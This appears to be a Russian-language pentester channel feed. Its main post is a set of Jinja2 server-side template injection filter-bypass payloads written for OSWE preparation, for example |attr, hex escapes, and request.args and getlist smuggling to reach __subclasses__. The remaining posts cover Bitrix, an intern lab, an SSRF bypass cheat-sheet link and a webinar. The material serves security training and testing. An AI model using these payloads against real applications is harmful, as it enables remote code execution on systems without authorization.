[ Bitrix — поговорим о наболевшем ]

Всем привет!👋

Многие неоднократно слышали о CMS Bitrix — весьма удобная система для управления сайтом. Однако сильно уязвимая из "коробки". Об эксплуатации многих нюансов и уязвимостей было не раз сказано в комьюнити этичных хакеров.

Сейчас я хочу внести свой скромный вклад и рассказать о замеченных мною недостатках и особенностях этой CMS.

Данные мелочи не раз помогали мне как на Bug Bounty, так и на проектах по внешнему пентесту.

Надеюсь, что эти маленькие нюансы в сумме смогут помочь вам и вашей команде на проектах.

Приятного чтения:)

#bitrix24 #web #bug_bounty

[ Если делаешь — делай с душой ]

С коллегами запустили мини-стенд в рамках летней практики для наших практикантов

Немного вдохновились и решили сделать видео 😎
Нашим практикантам удачи, а остальным рекомендуем залетать к нам на летнюю практику на будущий год 🤙🏼

#learn #start #brickoff

[Обход фильтров в SSTI в Jinja2]

Не так давно в рамках подготовки к OSWE столкнулся с необходимостью обходить фильтры SSTI, проверяющие непосредственный темплейт.
Уязвимое приложение проверяло наличие .__ в строке передаваемого темплейта, что не давало просто использовать пейлоад из HackTricks и наслаждаться RCE на уязвимой машине.
Поэтому ловите несколько способов модификации пейлоада, чтобы обойти подобные фильтры или даже WAF целиком:

🔸 Для обхода фильтра по .__ можно использовать |attr()

{{ ''|attr('__class__’)}}

🔸 Можно использовать сложение строк или закодировать

{{request|attr("__"+"class"+"__")}}
{{''['\x5f\x5fclass\x5f\x5f']}}

🔸 Также можно обратиться к атрибутам по индексу

request["__class__"]

🔸 Кроме того, можно использовать Statements для определения переменных в темплейте

{% set string = "ssti" %}

{% set class = "__class__" %}

{{ string|attr(class)}}

{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}

🔸 Для обхода фильтра по __ можно использовать requests.args для передачи частей полезной нагрузки в параметрах запроса и |join для соединения элементов в одну строку

{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_

🔸 Для обхода фильтра по [] можно использовать |getlist(). Данный метод возвращает всех значения, связанные с определенным ключом в запросе

{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

🔸 В случае, если встретился фильтр по |join, можно использовать |format для форматирования строк по переданным значениями

{{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_

Конечно количество фильтров может быть разнообразным, но тут уже скорее встает вопрос комбинации предложенных выше методов. 👆


Для закрепления я разработал небольшой стенд 🔥. Кому будет интересно, то можете проверить знания и навыки в деле!

@GigaHack

#web #stand #SSTI #learn #OSWE

[Полезный читшит для SSRF, CORS и open-redirect]

В последнее время у portswigger-а активно пополняются заметки по различным темам. Эта шпаргалка содержит полезные нагрузки для обхода проверки URL. Приведенные списки слов полезны для реализации следующих типов атак: SSRF, неправильные конфигурации CORS и open-redirect. Очень полезно, если кончились идеи, а ошибку с кодом 403 обходить надо. Также будет полезно и тем, кто только погружается историю с данными веб-уязвимостями.

https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet


#web #bypass #cheet_sheet

Всем привет! Сегодня выступаю на вебинаре у УЦ Маском (@mascom_uc). Расскажу о том как проводить разведку при пентесте внешнего периметра и веб-приложения и какие инструменты можно для этого использовать.

Ждём всех сегодня в 19.00 по МСК 😎
Кто ещё не записался, сделать это можно по 👉 ссылке

👉Презентация

#web #conference